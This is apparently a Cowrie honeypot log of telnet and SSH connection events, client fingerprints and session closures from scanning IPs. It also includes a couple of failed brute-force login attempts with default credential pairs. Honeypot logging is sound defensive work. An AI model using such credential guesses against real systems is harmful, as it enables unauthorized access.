{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44742,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d81921617db","protocol":"telnet","message":"New connection: 46.4.8.162:44742 (159.203.135.109:23) [session: 5d81921617db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:33.228705Z"}
{"eventid":"cowrie.session.closed","duration":32.351622581481934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:33.458235Z","src_ip":"46.4.8.162","session":"9238cdbb4d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57116,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0ade59797b","protocol":"telnet","message":"New connection: 46.4.8.162:57116 (159.203.135.109:23) [session: da0ade59797b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:33.719056Z"}
{"eventid":"cowrie.session.closed","duration":32.587514877319336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:34.466377Z","src_ip":"46.4.8.162","session":"91314ae81745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990540504455566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:35.284232Z","src_ip":"35.187.38.22","session":"4213bc8e7402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47490,"dst_ip":"159.203.135.109","dst_port":22,"session":"836fd69d9100","protocol":"ssh","message":"New connection: 159.203.92.129:47490 (159.203.135.109:22) [session: 836fd69d9100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:35.571468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:35.577021Z","src_ip":"159.203.92.129","session":"836fd69d9100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:35.581706Z","src_ip":"159.203.92.129","session":"836fd69d9100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd1","message":"login attempt [admin/passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:35.594439Z","src_ip":"159.203.92.129","session":"836fd69d9100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7d13529bca","protocol":"telnet","message":"New connection: 46.4.8.162:44752 (159.203.135.109:23) [session: 6f7d13529bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:36.539724Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:36.620624Z","src_ip":"159.203.92.129","session":"836fd69d9100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.937114238739014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:37.195469Z","src_ip":"46.4.8.162","session":"78cb6bbbd61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83224058151245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:37.246305Z","src_ip":"35.187.38.22","session":"f7093b86a14f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00161027908325,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:37.281087Z","src_ip":"189.26.176.246","session":"f666a9f1e8e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12310481071472,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:38.835811Z","src_ip":"46.4.8.162","session":"970990fc3c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.372809886932373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:39.257850Z","src_ip":"35.187.38.22","session":"212329784cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12899422645569,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:40.595151Z","src_ip":"46.4.8.162","session":"3862e3913131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44766,"dst_ip":"159.203.135.109","dst_port":23,"session":"190dbc156de8","protocol":"telnet","message":"New connection: 46.4.8.162:44766 (159.203.135.109:23) [session: 190dbc156de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:40.635938Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":45626,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e4d5234150","protocol":"telnet","message":"New connection: 188.166.220.49:45626 (159.203.135.109:23) [session: 82e4d5234150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:41.121280Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":55076,"dst_ip":"159.203.135.109","dst_port":23,"session":"dba787b8e338","protocol":"telnet","message":"New connection: 94.23.76.26:55076 (159.203.135.109:23) [session: dba787b8e338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:41.797824Z"}
{"eventid":"cowrie.session.closed","duration":30.92566204071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:42.280340Z","src_ip":"35.187.38.22","session":"d13e1db52fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47198,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b5e3c64a51","protocol":"telnet","message":"New connection: 188.166.220.49:47198 (159.203.135.109:23) [session: a1b5e3c64a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:42.361003Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48376,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8435820d40d","protocol":"telnet","message":"New connection: 188.166.220.49:48376 (159.203.135.109:23) [session: e8435820d40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:43.153281Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdbc05164617","protocol":"telnet","message":"New connection: 75.119.159.60:43530 (10.17.0.5:23) [session: fdbc05164617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:44.322294Z"}
{"eventid":"cowrie.session.closed","duration":35.26185894012451,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:44.673975Z","src_ip":"46.4.8.162","session":"40a406bf67b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.651997804641724,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:44.780241Z","src_ip":"46.4.8.162","session":"aa96dc29c1e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25503063201904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:45.050599Z","src_ip":"188.166.220.49","session":"f7944ddd9644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985687732696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:45.323758Z","src_ip":"35.187.38.22","session":"51e209981eb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031286239624023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:45.363143Z","src_ip":"35.187.38.22","session":"dcdc3fd79612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":45698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f65fc22ea69d","protocol":"telnet","message":"New connection: 75.119.159.60:45698 (10.17.0.5:23) [session: f65fc22ea69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:46.108129Z"}
{"eventid":"cowrie.session.closed","duration":33.10655426979065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:47.009661Z","src_ip":"46.4.8.162","session":"ae198706f166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54330,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9087b68a9c","protocol":"telnet","message":"New connection: 188.166.220.49:54330 (159.203.135.109:23) [session: 7a9087b68a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:47.716247Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36484,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec8cf0245f0","protocol":"telnet","message":"New connection: 46.4.8.162:36484 (159.203.135.109:23) [session: 2ec8cf0245f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:50.679697Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"7217736a593c","protocol":"telnet","message":"New connection: 46.4.8.162:36492 (159.203.135.109:23) [session: 7217736a593c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:52.061743Z"}
{"eventid":"cowrie.session.closed","duration":31.237719297409058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:52.264755Z","src_ip":"35.187.38.22","session":"2c3a6a6b5280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836868286132812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:53.196035Z","src_ip":"35.187.38.22","session":"768380e49003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83411169052124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:53.270677Z","src_ip":"35.187.38.22","session":"77a172d2eb6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34612,"dst_ip":"159.203.135.109","dst_port":23,"session":"459abbf2e245","protocol":"telnet","message":"New connection: 188.166.220.49:34612 (159.203.135.109:23) [session: 459abbf2e245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:53.922508Z"}
{"eventid":"cowrie.session.closed","duration":31.202347993850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:54.032651Z","src_ip":"46.4.8.162","session":"704125df8e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a422d9b223","protocol":"telnet","message":"New connection: 35.187.38.22:58846 (159.203.135.109:23) [session: 54a422d9b223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:54.356432Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33840,"dst_ip":"159.203.135.109","dst_port":23,"session":"671fecbd1602","protocol":"telnet","message":"New connection: 46.4.8.162:33840 (159.203.135.109:23) [session: 671fecbd1602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:56.239457Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33866,"dst_ip":"159.203.135.109","dst_port":23,"session":"117a8846d47b","protocol":"telnet","message":"New connection: 46.4.8.162:33866 (159.203.135.109:23) [session: 117a8846d47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:56.575406Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33874,"dst_ip":"159.203.135.109","dst_port":23,"session":"184d57392a53","protocol":"telnet","message":"New connection: 46.4.8.162:33874 (159.203.135.109:23) [session: 184d57392a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:57.371901Z"}
{"eventid":"cowrie.session.closed","duration":33.421404123306274,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:58.127292Z","src_ip":"46.4.8.162","session":"0e68afb95a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728550910949707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:59.054543Z","src_ip":"75.119.159.60","session":"62f7725fde0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33856,"dst_ip":"159.203.135.109","dst_port":23,"session":"294af736070b","protocol":"telnet","message":"New connection: 46.4.8.162:33856 (159.203.135.109:23) [session: 294af736070b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:59.323756Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3318aaa2ed","protocol":"telnet","message":"New connection: 75.119.159.60:59056 (10.17.0.5:23) [session: 2c3318aaa2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:59.944819Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":40208,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e1d0d2c15da","protocol":"telnet","message":"New connection: 35.187.38.22:40208 (159.203.135.109:23) [session: 0e1d0d2c15da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:00.094579Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":33262,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df97fbf00b3","protocol":"telnet","message":"New connection: 94.23.76.26:33262 (159.203.135.109:23) [session: 0df97fbf00b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:03.202258Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fe06a639eb","protocol":"telnet","message":"New connection: 75.119.159.60:34582 (10.17.0.5:23) [session: 81fe06a639eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:04.377595Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":30955,"dst_ip":"159.203.135.109","dst_port":22,"session":"c05cbb5189f5","protocol":"ssh","message":"New connection: 223.197.186.7:30955 (159.203.135.109:22) [session: c05cbb5189f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:04.520949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:04.526702Z","src_ip":"223.197.186.7","session":"c05cbb5189f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:04.744459Z","src_ip":"223.197.186.7","session":"c05cbb5189f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed7623aa270","protocol":"telnet","message":"New connection: 75.119.159.60:35388 (10.17.0.5:23) [session: 8ed7623aa270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.254349Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36748,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90d98116afd","protocol":"telnet","message":"New connection: 46.4.8.162:36748 (159.203.135.109:23) [session: c90d98116afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.371251Z"}
{"eventid":"cowrie.session.closed","duration":32.17735528945923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.405919Z","src_ip":"46.4.8.162","session":"5d81921617db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41186237335205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.420128Z","src_ip":"46.4.8.162","session":"e8efc891b33a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.975496768951416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.477383Z","src_ip":"46.4.8.162","session":"5ab6c8b64042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48888,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9cb9b771e6","protocol":"telnet","message":"New connection: 35.187.38.22:48888 (159.203.135.109:23) [session: bd9cb9b771e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.522486Z"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1234","message":"login attempt [sysadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:05.652846Z","src_ip":"223.197.186.7","session":"c05cbb5189f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"64d6128142ff","protocol":"telnet","message":"New connection: 46.4.8.162:36758 (159.203.135.109:23) [session: 64d6128142ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:06.198599Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"06957950c39f","protocol":"telnet","message":"New connection: 75.119.159.60:36220 (10.17.0.5:23) [session: 06957950c39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:06.243962Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":53940,"dst_ip":"159.203.135.109","dst_port":23,"session":"07bf5f042080","protocol":"telnet","message":"New connection: 94.23.76.26:53940 (159.203.135.109:23) [session: 07bf5f042080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:06.275632Z"}
{"eventid":"cowrie.session.closed","duration":35.51909351348877,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:06.747335Z","src_ip":"188.166.220.49","session":"099f3e469879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:06.877654Z","src_ip":"223.197.186.7","session":"c05cbb5189f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60675835609436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:07.146355Z","src_ip":"46.4.8.162","session":"6f7d13529bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e52432cd13","protocol":"telnet","message":"New connection: 46.4.8.162:36766 (159.203.135.109:23) [session: e3e52432cd13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:07.797904Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":51892,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac065ccf81fd","protocol":"telnet","message":"New connection: 35.187.38.22:51892 (159.203.135.109:23) [session: ac065ccf81fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:08.268944Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":51920,"dst_ip":"159.203.135.109","dst_port":23,"session":"68023638ca04","protocol":"telnet","message":"New connection: 35.187.38.22:51920 (159.203.135.109:23) [session: 68023638ca04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:08.291646Z"}
{"eventid":"cowrie.session.closed","duration":35.98939800262451,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:19:09.708370Z","src_ip":"46.4.8.162","session":"da0ade59797b","protocol":"telnet"}
